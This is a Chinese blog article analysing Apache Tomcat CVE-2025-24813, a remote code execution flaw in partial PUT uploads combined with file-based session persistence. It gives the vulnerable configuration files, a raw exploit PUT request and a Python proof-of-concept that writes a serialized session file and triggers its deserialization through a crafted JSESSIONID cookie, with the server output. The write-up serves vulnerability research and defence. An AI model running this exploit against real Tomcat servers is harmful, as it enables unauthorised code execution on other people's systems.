当前位置: 首页 > article >正文

Apache Tomcat CVE-2025-24813 安全漏洞

Apache Tomcat CVE-2025-24813被广泛利用,但是他必须要满足两个点:

 1.被广泛的使用,并且部署在服务器中。

 2.漏洞必须依赖在服务器中的配置。

并且漏洞补丁已经发布。

漏洞攻击方式:

  • CVE-2025-24813 是 Apache Tomcat 部分 PUT 功能中未经身份验证的远程代码执行漏洞,于 2025 年 3 月 10 日披露。已提供修复版本。
  • 在特定情况下,成功利用该漏洞攻击者可以通过不安全的反序列化在目标系统上远程执行代码。
  • 漏洞详细信息和概念验证(PoC)漏洞代码均已公开。
  • 根据我们和其他研究公司的分析,成功利用所需的条件似乎是具体的、非默认的和不常见的。
  • 据报告, CVE-2025-24813 已被野外利用;然而,Rapid7 无法确认在实际生产环境中是否发生过任何成功的利用。我们认为,在这种情况下,“利用”可能意味着未成功的利用尝试,而不是成功入侵生产系统。
  • 鉴于特定的易受攻击的配置要求(见Exploitability requirements下文),大规模利用的可能性不大。

漏洞可利用条件:

根据该建议,如果以下所有情况都成立,攻击者可以查看安全敏感文件和/或向这些文件中注入内容:

  • 为默认 servlet 启用写入(默认情况下禁用)
  • 支持部分 PUT(默认启用)
  • 安全敏感上传的目标 URL 是公开上传的目标 URL 的子目录
  • 攻击者知道正在上传的安全敏感文件的名称
  • 安全敏感文件也通过部分 PUT 上传

如果以下所有情况都成立,攻击者就可以实现远程代码执行:

  • 为默认 servlet 启用写入(默认情况下禁用)
  • 支持部分 PUT(默认启用)
  • 应用程序使用 Tomcat 基于文件的会话持久性(默认禁用)和默认存储位置
  • 应用程序包含一个可能被反序列化攻击利用的库(很多 Java 应用程序都存在这种情况)

受影响版本:

  • Apache Tomcat 11.0.0-M1 to 11.0.2
  • Apache Tomcat 10.1.0-M1 to 10.1.34
  • Apache Tomcat 10.1.0-M1 to 10.1.34

 漏洞重现:

提供静态资源的默认 servlet 必须处于非默认的“readonly=false”配置中。 我们将在 web.xml 文件中定义它。

<servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>

        <!-- vuln -->
	<init-param>
          <param-name>readonly</param-name>
          <param-value>false</param-value>
        </init-param>
	<!-- vuln -->

	<load-on-startup>1</load-on-startup>
    </servlet>

这种配置可能相对不常见。为了获得真实证据,我们可以使用开源github来搜索具有此配置的存储库。根据结果,只有少数在 GitHub 上公开发布的开源 Tomcat 项目使用此配置(大约 200 个),并且大多数都有<30星标。而且还需要额外配置才能建立可利用环境。我们需要修改 Tomcat 安装的context.xml文件以启用基于文件的会话持久性,根据tomcat指出,这是实例易受攻击的必要条件。修改后的文件如下所示(标有“vuln”)。

<Context>
    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to enable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="SESSIONS.ser" />
    -->

    <!-- vuln -->
    <Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1">
        <Store className="org.apache.catalina.session.FileStore"/>
    </Manager>
    <!-- vuln -->

</Context>

触发漏洞条件:

PUT /dummy HTTP/1.1
Host: 192.168.1.2:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 17 Mar 2025 17:08:23 GMT
If-None-Match: W/"1905-1742231303122"
Priority: u=0, i
Content-Range: bytes 1-1/15
Content-Length: 1

我们收到 204 响应(尽管此状态代码根据 Tomcat 配置和目标应用程序而有所不同)。

HTTP/1.1 204 
Date: Mon, 17 Mar 2025 17:21:51 GMT

然后我们去tomcat 目录下查证

# ls -la /var/lib/tomcat10/work/Catalina/localhost/ROOT
total 12
drwxr-x--- 2 tomcat tomcat 4096 Mar 17 17:21 .
drwxr-x--- 3 tomcat tomcat 4096 Mar 17 17:15 ..
-rw-r----- 1 tomcat tomcat   15 Mar 17 17:21 .dummy

# cat /var/lib/tomcat10/work/Catalina/localhost/ROOT/.dummy

现在我们可以将 .session 文件(一个序列化的 Java 对象)写入根目录。我们可以通过精心设计的 JSESSIONID 标头提示 Tomcat 使用序列化对象。

分享了一个概念验证漏洞。我们的该脚本的测试副本如下。

import requests

TARGET_IP = "http://192.168.1.2:8080/"

put_url = f"{TARGET_IP}/gopan.session"
put_headers = {"Content-Range": "bytes 0-5/100"}

with open('/tmp/payload.bin', "rb") as f:
    put_response = requests.put(put_url, data=f, headers=put_headers)

get_url = f"{TARGET_IP}/"
get_headers = {"Cookie": "JSESSIONID=.gopan"}
get_response = requests.get(get_url, headers=get_headers)
print(get_response.status_code ,get_response.text)

运行这个脚本:

$ python3 poc.py
500 <!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> class java.util.HashMap cannot be cast to class java.lang.Long (java.util.HashMap and java.lang.Long are in module java.base of loader &#39;bootstrap&#39;)</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.ClassCastException: class java.util.HashMap cannot be cast to class java.lang.Long (java.util.HashMap and java.lang.Long are in module java.base of loader &#39;bootstrap&#39;)
org.apache.catalina.session.StandardSession.doReadObject(StandardSession.java:1347)
org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:985)
[..SNIP..]


http://www.kler.cn/a/595687.html

相关文章:

  • MES汽车零部件制造生产监控看板大屏
  • FineBI_实现求当日/月/年回款金额分析
  • electron-builder创建桌面应用
  • 【MCP】如何解决duckduckgo MCP 命令执行错误
  • 数据库—sql语法基础
  • 深入解读《白帽子讲 Web 安全》之业务逻辑安全
  • zephyr-中国跨国并购数据(1997-2024.3.8)
  • 虚幻统一管理创建的标签
  • 蓝桥与力扣刷题(蓝桥 三角形面积)
  • wps字符很分散
  • 来源于胡椒的亚甲二氧桥CYP450-文献精读119
  • mapper.xml中 “http://mybatis.org/dtd/mybatis-3-mapper.dtd“> 报错的解决方法
  • NAT和VPN的联系
  • uni-app——网络API
  • 《深度学习》——YOLOv3详解
  • fastapi+mysql律师系统
  • 智见未来:多大模型协同的数据分析新范式
  • django设置admin的排列顺序,耗3小时【躲坑指南】
  • 【WRF模拟】WPS预处理设置生成文件地址
  • Visual Studio2022发布web到浏览器可查看